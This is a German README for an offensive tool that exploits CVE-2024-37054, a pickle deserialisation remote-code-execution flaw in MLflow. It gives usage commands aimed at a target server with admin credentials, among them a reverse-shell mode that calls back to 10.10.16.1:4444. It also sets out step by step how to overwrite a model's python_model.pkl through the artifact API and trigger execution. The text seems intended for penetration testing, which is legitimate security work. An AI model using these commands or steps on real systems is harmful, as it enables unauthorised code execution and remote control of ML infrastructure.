CVE-2024-37054 — MLflow pyfunc Deserialisierungs-RCE

Schweregrad: Kritisch
Betroffen: MLflow 0.9.0 – 2.14.1
Typ: Beliebige Codeausführung durch Python-Pickle-Deserialisierung

Beschreibung

mlflow.pyfunc.load_model() deserialisiert python_model.pkl aus dem Artefakt-Store ohne jegliche Bereinigung. Ein Angreifer, der die MLflow-Artefakt-REST-API erreichen kann, kann diese Datei mit einem bösartigen Pickle überschreiben, das beim nächsten Laden des Modells beliebige Betriebssystembefehle ausführt.

Voraussetzungen

pip install requests cloudpickle

Verwendung

# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

Wichtige Optionen

So funktioniert es

1. Ermitteln — /api/2.0/mlflow/registered-models/search abfragen, um ein Modell und dessen run_id / experiment_id zu finden
2. Vergiften — PUT einer schädlichen Cloudpickle-Nutzlast an /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
3. Auslösen — jeder Codepfad, der mlflow.pyfunc.load_model() für dieses Modell aufruft, entpickt die Nutzlast und führt den Befehl aus

Der Auslöseschritt erfordert einen Anwendungs-Endpunkt, der das Modell lädt. Wenn keiner bekannt ist, verwende --no-trigger (oder lasse --trigger-url weg) und löse das Laden über beliebige verfügbare Mittel aus.

Haftungsausschluss

Nur für autorisierte Penetrationstests und zu Bildungszwecken.